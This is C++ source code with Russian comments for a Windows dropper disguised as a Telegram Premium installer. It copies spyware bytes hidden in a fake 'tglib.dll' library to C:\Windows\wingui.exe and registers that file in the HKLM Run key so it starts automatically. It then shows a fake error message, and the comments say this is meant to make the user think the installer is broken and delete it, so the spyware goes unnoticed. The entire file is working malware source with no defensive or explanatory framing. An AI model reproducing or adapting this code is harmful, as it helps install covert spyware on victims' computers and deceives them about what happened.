#include #include #include int WINAPI wWinMain( _In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nShowCmd ) { const char SRC_PROGRAM_PATH[] = "tglib.dll"; const char DST_PROGRAM_PATH[] = "C:\\Windows\\wingui.exe"; /* В каталоге с .exe файлом лежит файл якобы библиотек tglib.dll. На самом деле этот файл содержит байты клиентской части шпионского ПО. Нужно вытащить все байты из этого файла, записать их в C:\Windows\wingui.exe А потом добавить файл C:\Windows\wingui.exe в автозагрузку */ std::ifstream srcFile(SRC_PROGRAM_PATH, std::ios::binary); if (!srcFile.is_open()) { // если файл куда-то пропал const auto TITLE = "Ошибка инициализации"; const auto MESSAGE = "К сожалению, установщик Telegram Premium не может обнаружить файл библиотек tglib.dll."; MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке return 1; // завершаем с ошибкой } /* читаем .dll файл */ std::vector spywareBytes; // в вектор будем помещать байты шпионской программы while (!srcFile.eof()) { // пока есть, что читать, будем читать char byte; srcFile.read(&byte, sizeof byte); // считываем байт spywareBytes.push_back(byte); // добавляем байт в вектор } srcFile.close(); // закрываем файл /* за диске C: создаем .exe файл */ std::ofstream dstFile(DST_PROGRAM_PATH, std::ios::binary | std::ios::trunc); if (!dstFile.is_open()) { const auto TITLE = "Ошибка установки"; const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000001."; MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке return 1; // завершаем с ошибкой } for (const auto byte : spywareBytes) { // переносим байты из .dll в .exe dstFile << byte; } dstFile.close(); // закрываем файл /* Добавляем wingui.exe в автозагрузку */ HKEY hKey; char szPath[MAX_PATH]; const DWORD size = GetModuleFileName(NULL, szPath, MAX_PATH); if (!(size > 0 && size < MAX_PATH)) { const auto TITLE = "Ошибка установки"; const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000002."; MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке return 1; // завершаем с ошибкой } RegCreateKeyEx(HKEY_LOCAL_MACHINE, // создаем ключ в реестре "Software\\Microsoft\\Windows\\CurrentVersion\\Run", NULL, 0, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL ); if (hKey) { // если ключ успешно создался, записываем значение RegSetValueEx(hKey, "Win32GUI", 0, REG_SZ, (unsigned char*) DST_PROGRAM_PATH, sizeof(DST_PROGRAM_PATH)); RegCloseKey(hKey); } /* Чтобы пользователь не заподозрил ничего, отобразим ему окошко с ошибкой Пусть он думает, что эта программа не работает, и спокойно ее удаляет */ const auto TITLE = "Ошибка инициализации"; const auto MESSAGE = "К сожалению, запуск этой программы невозможен на вашей архитектуре."; MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); return 0; }